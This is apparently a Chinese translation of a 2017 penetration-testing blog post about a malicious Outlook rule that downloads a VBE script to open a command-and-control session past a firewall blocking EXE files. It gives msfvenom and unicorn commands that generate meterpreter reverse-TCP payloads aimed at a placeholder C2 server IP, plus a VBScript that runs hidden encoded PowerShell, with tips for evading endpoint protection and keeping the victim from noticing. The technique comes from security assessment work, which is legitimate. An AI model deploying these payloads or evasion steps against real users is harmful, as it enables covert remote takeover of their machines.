无EXE文件实现恶意Outlook规则:绕过防火墙的C2会话建立

本文详细介绍了如何在不使用EXE文件的情况下,通过创建恶意Outlook规则并利用VBE文件绕过防火墙限制,成功建立命令与控制(C2)会话的技术方法。

恶意Outlook规则无需EXE文件

注意:本博客中提到的技术和工具可能已过时,不适用于当前情况。但本文仍可作为学习机会,并可能用于更新或集成到现代工具和技术中。

当前我最喜欢的漏洞利用方法是创建恶意Outlook规则,如本文所述。该规则配置为在收到特定主题的电子邮件时下载带有EXE扩展名(.exe)的可执行文件。该可执行文件与攻击者的服务器建立命令和控制(C2)会话。

在最近的一次评估中,我遇到了一个情况:测试的客户网络设置了防火墙规则,不允许下载任何带有EXE扩展名的文件。当Outlook规则触发时,用户会看到以下错误,且未建立C2会话。

我发现下载带有.ps1扩展名的PowerShell文件是被允许的,但当规则触发时,脚本仅在文本编辑器中打开而未执行。我访问了此网站以审查其他可能允许下载并自动执行的Windows可执行扩展名。我发现下载HTA、BAT、VB、VBS和VBSCRIPT文件也被阻止……但VBE文件被允许。

克服了一个障碍后,我继续使用msfvenom工具生成Visual Basic脚本以建立C2连接,命令如下:

1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<我的C2服务器IP> LPORT=443 -f vbs

不幸的是,这被Symantec EndPoint Protection捕获并阻止在目标上运行。相反,我手动创建了脚本,使用两行代码,类似于以下内容:

1
2
Set objShell = CreateObject("Wscript.shell")
objShell.run("powershell -window hidden -EncodedCommand JA<..snip..>A=")

请注意,为了简洁起见,上述代码中的编码命令已被缩短(“snip”)。

第二行代码中显示的PowerShell命令是通过Unicorn工具使用以下命令生成的。(参见https://github.com/trustedsec/unicorn

1
./unicorn.py windows/meterpreter/reverse_tcp <我的C2服务器IP> 443

所提出的VBE方法的一个缺点是,它在执行时会弹出一个命令窗口一瞬间,这可能会提醒受害者发生了可疑的事情。让我们调整脚本的第二行,传入第二个参数“0”。这指示脚本隐藏窗口。奇怪的是,必须从方法调用中移除周围的括号才能添加此参数。新的改进版VB脚本如下所示。

1
2
Set objShell = CreateObject("Wscript.shell")
objShell.run "powershell -window hidden -EncodedCommand JA<..snip..>A=",0

就这样,我现在可以通过向目标发送电子邮件来建立C2会话,而无需EXE文件通过防火墙。


有关创建恶意Outlook规则的详细说明,请参阅此文章


这也将在我们即将安排的Sacred Cash Cow Tipping网络直播中涵盖!请关注Twitter以获取更多详情。


评论

Jhani
2017年1月10日 @ 8:30 am
防火墙供应商是什么(设备还是基于主机的防火墙)?

Carrie Roberts
2017年1月11日 @ 3:35 pm
据报告是Fortigate IPS模块。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计